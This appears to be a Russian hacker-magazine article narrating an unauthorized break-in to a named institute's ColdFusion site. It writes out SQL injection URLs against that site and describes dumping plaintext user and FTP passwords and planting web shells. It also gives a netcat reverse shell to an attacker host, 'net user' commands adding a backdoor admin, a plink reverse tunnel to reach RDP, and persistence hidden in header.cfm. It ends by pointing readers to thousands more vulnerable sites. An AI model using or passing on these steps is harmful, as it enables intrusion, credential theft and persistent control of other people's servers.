Любой взлом преследует цель, которая определяет его ценность. Задефейсить
сайт для латентных любителей клубнички или поиметь очередной рутовый шелл –
решать тебе. Реалии таковы, что любая уязвимость в web-приложении таит угрозу
для сервера. И если ты не ограничиваешься банальными и уже слегка поднадоевшими
SQL-инъекциями – статья для
тебя. На входе адрес жертвы, на выходе админский доступ по RDP – классика
проникновения!
Прелюдия, или Как все начиналось
А начиналось все банально. Сначала был URL. Кому-то этот URL был почему-то
очень интересен, и надо было глянуть, что с ним можно сделать. URL сразу попал к
лису, который быстро выдал результат: институт или типа того, куча ссылок,
новости, меню и прочая лабуда. Мышь быстро перескакивала по ссылкам, и
настроение потихоньку поднималось. Мне всегда нравились сайты с большим
количеством знаков вопроса, параметрами типа id и числовыми значениями в
линках... А здесь их было, прямо скажем, не меньше, чем мусора на свалках.
Глянув на иконку любимого сканера и ухмыльнувшись, я решил все-таки не
напрягать админов, а обратиться к Великому Индексу и решить все тихо и мирно.
Итак, заветная фраза "insite:ism.ws", кнопка Search и… можно считать, что дело
сделано?
Порядка 10000 результатов от Google обещали кропотливую работу. Лис быстро
обзавелся вкладками, в которые полетели всякие кавычки, равенства, дефисы и
прочая нечисть.
Глава 1, или Все мы грешны
Практика показывает, что почти любой крупный ресурс имеет инъекции. Хоть
маленькая, незрячая и фильтруемая инъекция, но есть наверняка. Надо лишь
присмотреться. Вот и здесь заветный плод был найден по адресу
http://www.ism.ws/Applications/Forms/FormDisplay.cfm?FormID=8464
Все оказалось настолько тривиально, что не возникало ни тени сомнения в
успешности дальнейших действий. Привычная сине-серая страница ошибки ColdFusion,
представшая перед глазами, открыла взору и полный SQL-запрос, и тип СУБД (SQL
Server), и локальный адрес скрипта. Вообще, информативность ошибок, выдаваемых
ColdFusion, просто поражает – даже полный стек вызовов, бери, не хочу.
Инъекция найдена, пора приступать к внедрению.
Глава 2, или Да здравствуют ошибки
Сервер БД от мелкомягких всегда поражал возможностями. Я не говорю о
стандартах, которые, в общем-то, все разработчики СУБД трактуют по-разному. Но
парни из Microsoft, вообще, каким-то своим, неведомым путем идут. Мне, например,
нравится работать с SQL Server. Не надо ни количество колонок подбирать, ни их
типы – ошибку на преобразование вызвал, и в ответе вся информация из базы, как
на блюдечке. Очень удобно! Сначала проверяем возможность вывода:
http://www.ism.ws/Applications/Forms/FormDisplay.cfm?FormID=8464+or+1=
(select+@@version%2bchar(58)%2bdb_name()%2bchar(58)%2bsystem_user%2bchar(58)%2b@@servername)--
В ответ получаем ошибку:
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the
nvarchar value 'Microsoft SQL Server 2000 - 8.00.2050 (Intel X86) Mar 7 2008
21:29:56 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on
Windows NT 5.0 (Build 2195: Service Pack 4) :RDCMS-ISM-Core:rms:ISMSQL01' to a
column of data type int.
Имеем сервер не первой свежести и базу RDCMS-ISM-Core. Внимательно
присмотревшись, я буквально подпрыгнул от радости: аббревиатура CMS явно давала
понять, что сайтик не на коленках сварганен, а целая большая и уважаемая контора
это чудо написала и бабла срубила. Но об этом позже. А сейчас на очереди
структура БД.
На этом этапе мне детище Microsoft нравится уже не так сильно. Мало того, что
разработчики так и не удосужились сделать нормальный пейджинг результатов, так
еще и row_number в 2000 сервере реализовать не успели. Так что, ждет нас жесткая
эротическая прогулка с использованием топовой конструкции. TOP – это такая
фишка, которая позволяет получить первые несколько записей по запросу. А вот с
какой записи начинать, указать невозможно, что в условиях нашего нереального
взлома ну совсем никак не удобно. Можно, конечно, пойти стандартным путем:
получать по одной записи, запоминать и явно исключать из следующих запросов. Но
мне этот метод совсем не в кайф: и автоматизации трудно поддается, да и длина
URL не резиновая – для больших баз накроет нас медным тазом.
Поэтому мы всех обманем. Сортируем вверх и вниз – получаем приемлемый
пейджинг. Сервак пощадим и добавим условия на проверку названий полей – пусть
они пароли какие-нибудь содержат. Ну а для того, чтобы совсем круто было,
определим для начала их количество (примеры запросов смотри ниже). Вот так вот –
их 9. Поехали!
Сразу бросилась в глаза табличка ES_LoginInfo (RDCMS-ISM-Core : dbo :
ES_LoginInfo : Password). В общем-то, можно потирать руки и заказывать пиццу, но
не тут-то было. Определив структуру таблицы, я получил следующую картину. В
таблице присутствовало три интересных поля: EntityID, Username и Password.
Думаю, объяснять не надо, что я быстро составил новую серию запросов и моим
глазам предстали данные юзверей. Пароли хранились в открытом виде и можно было
сломя голову кидаться на сайт в поисках заветной админки. Я, кстати, когда
добрался до исходников, долго и тупо втыкал, почему нельзя было шифровать
пароли, если парни-разработчики CMS это предусмотрели (SHA-1, SHA-512, MD5) и
даже реализовали собственный алгоритм (iMIS). Ну да ладно, я залогинился,
пошарил по сайту и вернулся к дампу структуры БД – еще же в 8 таблицах были поля
с паролями.
Как же устроить пейджинг?
Получить все данные из БД за один запрос – мечта любого хакера. Но жизнь
диктует свои условия и, как правило, взломщик вынужден выуживать информацию
строчка за строчкой. Но вот беда, разработчики СУБД решили ситуацию усугубить,
причем каждый по-своему. Итак, о схемах пейджинга данных.
1. MySQL. Предлагает конструкцию limit [offset, ]rowcount. Выбираем
rowcount (в нашем случае 1) строк, начиная со строки offset. Гениально, просто
молодцы!
2. Oracle. Используем псевдостолбец rownum. Проблема в том, что rownum
генерируется автоматически, и нельзя, к примеру, выставить условие типа
rownum=n. Такой запрос вернет пустой результат. Без подзапросов здесь не
обойтись:
select fieldname from (select a.fieldname, rownum r from (select fieldname
from tablename) as a where r=<offset>)
3. SQL Server 2005. Здесь все по стандарту: используем row_number().
Например:
select field1, field2 from (select row_number() over (order by a.field1) as
r, a.field1, a.field2 from (select field1, field2 from tablename) as a) as b
where r=<offset>
4. SQL Server 2000. А вот здесь все жестко: у нас есть только TOP. Для
пейджинга применим такую хитрость: если нам нужно выбрать запись с номером
offset, мы сначала выберем TOP <offset> записей с восходящей сортировкой, а
уже из полученного результата выберем первую запись с нисходящей. В результате
последняя строка станет первой и… дело сделано. Только помни, для получения
корректного результата сортировать нужно по всем полям в запросе!
Глава 3, или Доступ открыт
Следующей привлекла внимание таблица SM_Sites, содержащая колонку с
незамысловатым названием FTPPassword. Как оказалось, таблица содержала также
колонки FTPUserName и FTPServer. Слив данные из таблицы, я увидел, что в
качестве серверов использовались ftp.rd.net и ftp2.rd.net. По адресу rd.net как
раз и хостится сайт разработчиков, а сама CMS, оказалось, носит гордое название
Results Direct. Зачем в базе хранить учетные данные, я так и не догнал, но к ftp
они реально подходили. А учетная запись с именем ism.ws.prod.code и вовсе
навевала радужные мысли, которые, к слову, быстро подтвердились. Корень FTP был
очень похож на корень самого сайта. После тестирования доступности нескольких
скриптов факт отображения папок и файлов был окончательно установлен. Доступ по
FTP открывал широчайшие перспективы по заливке файлов на сервер и избавлял от,
казалось, неминуемых приключений по раскопке функционала админки и поиска
возможностей получения шелла.
Глава 4, или Холодный сплав
Что делать с FTP, полагаю, вопросов ни у кого не вызывает. На ум сразу
приходит обеспечить выполнение команд на серваке и выбраться, наконец, на
свободу из душных объятий web-приложения. Очевидно, нужен веб-shell, который
позволит бродить по серверу и выполнять команды. Но вот беда – никаких следов
PHP или, на худой конец, Perl обнаружено не было. А значит, момент истины
наступил: придется программить на ColdFusion. Очень гибкая и простая в освоении
среда (по словам разработчиков), но мне почему-то ни разу не нравится. Так что,
гуглим на тему Web-shell’ов и дико обламываемся. Все ссылки приводят к одному и
тому же невзрачному кусочку кода, который только команды исполнять и умеет. Ну
да ладно, сейчас подточим и подпишем, нужно лишь матчасть поднять. Некоторое
время ушло на нереально крутую разработку, после чего на свет появились два
отпрыска. Первый нас водит по дирам и файлы показывает, второй нас слушает и
делает, что мы прикажем.
Файлы быстро заняли свое законное место. Вскоре я понял, что владею правами
учетки SYSTEM, а это было нереально круто. Останавливаться на достигнутом было
нельзя.
Глава 5, или Черный брат
Web-shell – это, конечно, здорово, но вовсе не так удобно, как может
показаться. Надо брать быка за рога и получать нормальную консоль. Total
послушно забросил netcat на FTP. На дедике был запущен netcat в режиме
прослушивания: "nc.exe –l –p 1234". На зарядку в шелле поставлена команда "cmd
/c nc.exe m0r0superdedik.com 1234 –e cmd ". Выстрел сделан – шелл в
консоли! Пошарив по файловой системе и запустив с десяток интересных утилиток, я
принял решение, что Винда без окон – это зло. В 99-м году монады еще не
появились, ставить что-то было западло, а рулить серваком почему-то было вообще
никак не удобно. Netstat показал живой порт 3389, и глаза мои радостно
заблестели. В шелл посыпались очень важные и нужные команды.
net user st password /add
net localgroup Administrators st /add
Запуск mstsc, тем не менее, жестко обламывал, выдавая сообщение о
недоступности хоста. NMAP обламывал еще больше, так как отрытыми оказались
только 80 и 25 порты. Видимо, хост был защищен фаером и порт 3389 тривиально
блокировался. Сдаваться не хотелось, поэтому был быстро составлен перечень
возможных способов получения графического интерфейса:
Глава 6, или Привет, окошки
Основная проблема заключалась в организации обратного коннекта на наш дедик.
Опыт с netcat ясно давал понять, что порты блокируются только на входящие
соединения, поэтому организация обратного коннекта от какой-нибудь графической
системы управления наверняка дала бы возможность рулить серваком. Естественно,
выбор пал на VNC. Схема внедрения VNC, в целом, достаточно проста (для TightVNC,
например):
- На сервак заливаются winvnc.exe и wm_hooks.dll.
- Устанавливается и запускается VNC-сервер.
winvnc.exe –install
net start "VNC Server" - На дедике запускается клиент в режиме прослушивания.
- Осуществляется реверс-коннект.
winvnc.exe –connect <host>:<port>.
У нас почти все схвачено, кроме одной маленькой детали, а именно – наличия
доступа к рабочему столу. Надежда умирала, едва успев родиться, так как шелл у
нас был с правами учетной записи SYSTEM. Не были бы мы хакерами, если бы не
попробовали, но, как и ожидалось, все попытки шли лесом. Был даже испробован
Metasploit с windows/vncinject/reverse_tcp нагрузкой (жутко тормозная вещь), но
и Великий Фреймворк не помог. Принцип внедрения VNC на сервер посредством
неинтерактивного шелла и в условиях отсутствия доступа к рабочему столу остался
неведом. На самом деле, я даже обрадовался – зачем нам VNC, если есть RDP. Надо
только пробиться через фаер.
Гениальная мысль с PPTP заключается в создании PPTP-соединения до нашего
дедика – и в дальнейшем обращении к узлу по внутренней адресации с
туннелированием трафика сквозь фаер. В Винде все соединения настраиваются
графически, но должен быть способ работы из консоли. Запускаем на тестовой
машине procmon от
Руссиновича и мониторим реестр в момент вызова клиента подключения к сети.
Результат не поддается разумному объяснению, - ничего интересного с реестром не
происходит. Microsoft сама себя превзошла. Стоило создавать реестр, если
собственные же модули им не пользуются. Пусть подумают на досуге, а мы, тем
временем, нашли "телефонную книгу" по адресу C:\Documents and Settings\All
Users\Application Data\ Microsoft\Network\Connections\Pbk\rasphone.pbk, в
которой, собственно, и описываются параметры подключения к Dial-up и VPN-сетям.
Создаем подключение к дедику (с установленной и настроенной службой RRAS) на
тестовой машине и копируем полученный файл rasphone.pbk на взломанный хост.
Затем создаем командный файл следующего содержания:
rasdial connection_name user password
route add 0.0.0.0 mask 0.0.0.0 remotehostgateway
Вторая строчка нужна для восстановления маршрута по умолчанию после
подключения, чтобы наш дедик не взял на себя все обязательства по маршрутизации
трафика. Запускаем батник и выпадаем в осадок :). Соединения нам не видать, как
своих ушей, видимо, фаер блокирует исходящие соединения на основе типа
протокола. В черный список попал и наш GRE-трафик.
Отчаяние все сильнее проникало в наши души, но мы не сдались. По правде,
тупили мы очень долго, так как надо было сразу обращаться за помощью к SSH. Это,
кстати, очень мощный зверь, о чем не раз писалось в ][. Не только шелл можно
получить, но и много других хитрых вещей придумать. Наша последняя надежда
заключалась в успешной реализации всего трех шагов:
- запустить на дедике SSH-сервер
- залить на узел SSH-клиент
- подключиться и создать нужный маппинг портов
Я многое могу понять, но, например, почему в Винде в XXI веке до сих пор нет
встроенного SSH-сервера, мне неведомо. Ну да ладно, ставим любой, благо их
довольно много. В качестве клиента, естественно, используется любимый putty. Но
только putty не простой, а волшебный. Если помнишь, при обращении к новому узлу
putty честно предлагает сохранить сигнатуру в кэше. Доступ к командной строке у
нас интерактивностью не отличается, и ничего мы ответить на этот вопрос попросту
не сможем. Значит, надо, чтобы отпечаток сохранялся автоматически, а putty этого
не умеет. Немного погуглив, мы нашли Quest PuTTY 0.60_q1.129. Все то же самое,
плюс то, что нам нужно!
Заливаем plink.exe на сервак и исполняем команду:
plink.exe -nc m0r0superdedik.com:22 -batch -pw password -R
3390:127.0.0.1:3389 -L 3390:127.0.0.1:3390 -l st -auto_store_key_in_cache
m0r0superdedik
Смотрим в консоли SSH-сервера и дико радуемся – есть коннект! Теперь
запускаем mstsc и коннектимся на localhost:3390. Нашему взору предстает окно
входа Windows 2000. Вводим туда данные добавленного c помощью "net user
администратора" и наслаждаемся графикой с правами администратора. Ура, можно
хлебнуть настоящего рок-н-рольного пойла, то есть виски, и отпраздновать успех.
Глава 7, или Даешь автоматизацию
На первый взгляд, все замечательно, но каждый раз заходить на web-shell и
запускать команду на подключение по SSH на следующий день стало слишком
утомительным. Поэтому наикрутейший ColdFusion-шелл был немного модифицирован для
исполнения команды подключения без участия человека. Код модификации шелла
смотри на нашем DVD.
Кусок кода был заныкан в файл header.cfm, который, в свою очередь,
подключается к большинству файлов CMS. Далее создаем простую форму, указывающую
на любой *.cfm-файл на серваке, и получаем простой способ организации RDP.
<form action="http://www.ism.ws/about/MediaRoom/RequestForm.cfm"
method="POST">
<table>
<tr><td>IP-адрес узла для туннелирования:</td><td><input type="text" size="20"
name="ip" value="m0r0superdedik.com"></input></td></tr>
<tr><td>Порт SSH:</td><td><input type="text" size="20" name="port"
value="22"></input></td></tr>
<tr><td>Имя пользователя:</td><td><input type="text" size="20" name="login"
value="st"></input></td></tr>
<tr><td>Пароль:</td><td><input type="text" size="20" name="password"
value="password"></input></td></tr>
<tr><td></td><td><input type="submit" value="GO!"></td></td>
</table>
</form>
Эпилог, или Все только начинается
Когда был найден сайт разработчика CMS, руки горели проверить его на
прочность. Ошибка в CMS была на том же месте. Вот только таблица SM_Sites
содержала одну единственную пустую запись, и мечты об FTP не осуществились.
Пароли были зашифрованы, и, судя по всему, тем самым зловещим iMIS (длина 120
бит). Возиться было уже неохота, так что мы решили оставить это тебе. Ну а чтобы
был стимул, вбей в Google inurl:navItemNumber – 12000 записей будут манить тебя
и вдохновлять на подвиги.
Доводи любое дело до конца, каким бы нереальным это ни казалось, иначе любое
твое начинание лишено смысла. Все описанные действия совершены под музыку
Брамса, (спасибо "_xCort_" с torrents.ru). Перефразируя слова бессменного
ведущего программы "Дым под водой" Кирилла Немоляева: "Слушайте классику и
будьте счастливы!".
WWW
Для автоматизации поиска уязвимостей можешь воспользоваться следующими
продуктами:
acunetix.com/vulnerability-scanner/ - Accunetix Web Vulnerability Scanner
ptsecurity.ru/xs7.asp
– Xspider.
cirt.net/nikto2 – Nikto.
sensepost.com/research/wikto – Wikto.
INFO
Получение инфы из БД вручную - утомительный и неблагодарный процесс.
Присмотрись к средствам автоматизации (или разработай свой продукт), например
SIPT. ИМХО, прога часто глючит, работает однопоточно, но с задачей справляется.
|